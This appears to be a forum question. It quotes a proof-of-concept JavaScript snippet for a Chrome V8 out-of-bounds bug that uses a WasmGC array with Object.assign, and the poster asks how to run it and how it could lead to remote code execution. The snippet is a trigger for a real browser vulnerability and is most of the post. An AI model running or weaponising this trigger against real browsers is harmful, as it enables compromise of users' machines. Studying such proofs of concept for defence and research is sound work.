While reading through an article discussing the Proof of Concept of a CVE in Google Chrome (OOB issue), I came across this intriguing code snippet: (https://medium.com/@elniak/cve-2024-4761-exploiting-chromes-javascript-engine-highly-exploited-poc-presented-dcf9cab95c00)
const prefix = "...";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);
builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array,
kGCPrefix, kExprExternConvertAny,
])
.exportFunc();
/*
builder.addFunction('set', makeSig([kWasmExternRef, kWasmI32, kWasmI32], []))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprAnyConvertExtern,
kGCPrefix, kExprRefCastNull, array,
kExprLocalGet, 1,
kExprLocalGet, 2,
kGCPrefix, kExprArraySet, array,
])
.exportFunc();
*/
let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
// %DebugPrint(array42);
let src = {};
src.a = 1;
delete src.a;
for (let i = 0; i < 1024; i++) {
src[`p${i}`] = 1;
}
// %DebugPrint(src);
// %SetDataProperties(array42, src);
Object.assign(array42, src);
It seems to be JavaScript code.
How can I test and see the functionality of this code snippet?
I attempted saving it as a .js file and opening it in my Chrome browser (App version 110.80)
No luck so far. I'm unsure of how it could potentially pose harm or enable Remote Code Execution. I am seeking more insights on how this code snippet could be exploited.
This is solely for educational purposes.